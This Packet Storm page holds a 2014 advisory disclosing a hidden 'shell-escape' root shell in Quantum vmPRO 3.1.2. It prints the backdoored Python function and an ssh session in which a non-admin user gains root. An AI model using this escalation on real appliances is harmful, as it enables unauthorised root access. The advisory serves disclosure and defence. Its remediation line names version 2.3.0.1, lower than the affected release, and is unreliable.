what you don't know can hurt you

Quantum vmPRO 3.1.2 Root Shell

Quantum vmPRO 3.1.2 Root Shell
Posted Mar 18, 2014
Authored by xistence

Quantum vmPRO versions 3.1.2 and below suffer from a remote shell backdoor command that lets anyone ssh in and escalate to root.

tags | exploit, remote, shell, root
MD5 | 71977649a44253f552fee0162b363b00

Quantum vmPRO 3.1.2 Root Shell

Change Mirror Download
-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

Quantum vmPRO 3.1.2 and below

-------------------------
Affected vendors:
-------------------------

Quantum
http://quantum.com/

-------------------------
Product description:
-------------------------

Unlike traditional backup applications and other backup applications
designed for virtual environments,
Quantum vmPRO Software backs up VMs in native VMware format. This enables
users to restore or boot VMs
in seconds without the use of a backup application, reduces virtual server
and network usage by reducing
VM image sizes before backing up those images to backup storage, and
substantially reduces the cost of
using traditional backup applications to back up virtual environments.

----------
Details:
----------

[ 0x01 - Shell Backdoor Command ]

The file "/usr/local/pancetera/bin/cmd_processor.py" on the vmPRO 3.1.2
virtual machine contains the following lines:

def cmd_shell_escape(self, args):
log_panshell(syslog.LOG_INFO, "internal consistency check started")
env = dict(os.environ)
env['SHELL'] = '/bin/bash'
env['HOME'] = '/tmp'
env['TERM'] = 'xterm'
os.spawnle(os.P_WAIT, '/bin/bash', 'bash', env)
log_panshell(syslog.LOG_INFO, "internal consistency check finished")
return

This is a hidden command to gain a root shell. If we create a user in the
web interface without administrator rights,
we can still ssh and gain a root shell! This of course should not be
possible and only be accessible to an admin user.

$ ssh non-admin@192.168.2.112
non-admin@192.168.2.112's password:
Last login: Thu Dec 19 23:42:10 2013 from 192.168.2.72
Welcome to Quantum vmPRO Console
--------------------------------

Quantum vmPRO GUI: https://192.168.2.112/

*** Type 'help' for a list of commands.

quantum:localhost> shell-escape
bash-4.1# id
uid=0(root) gid=100(users) groups=0(root),100(users)


-----------
Solution:
-----------

Upgrade to version 2.3.0.1 or newer

--------------
Timeline:
--------------

03-01-2014 - Issues discovered and vendor notified
15-01-2014 - No reply, asked for status update.
17-03-2014 - No replies, public disclosure
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    13 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close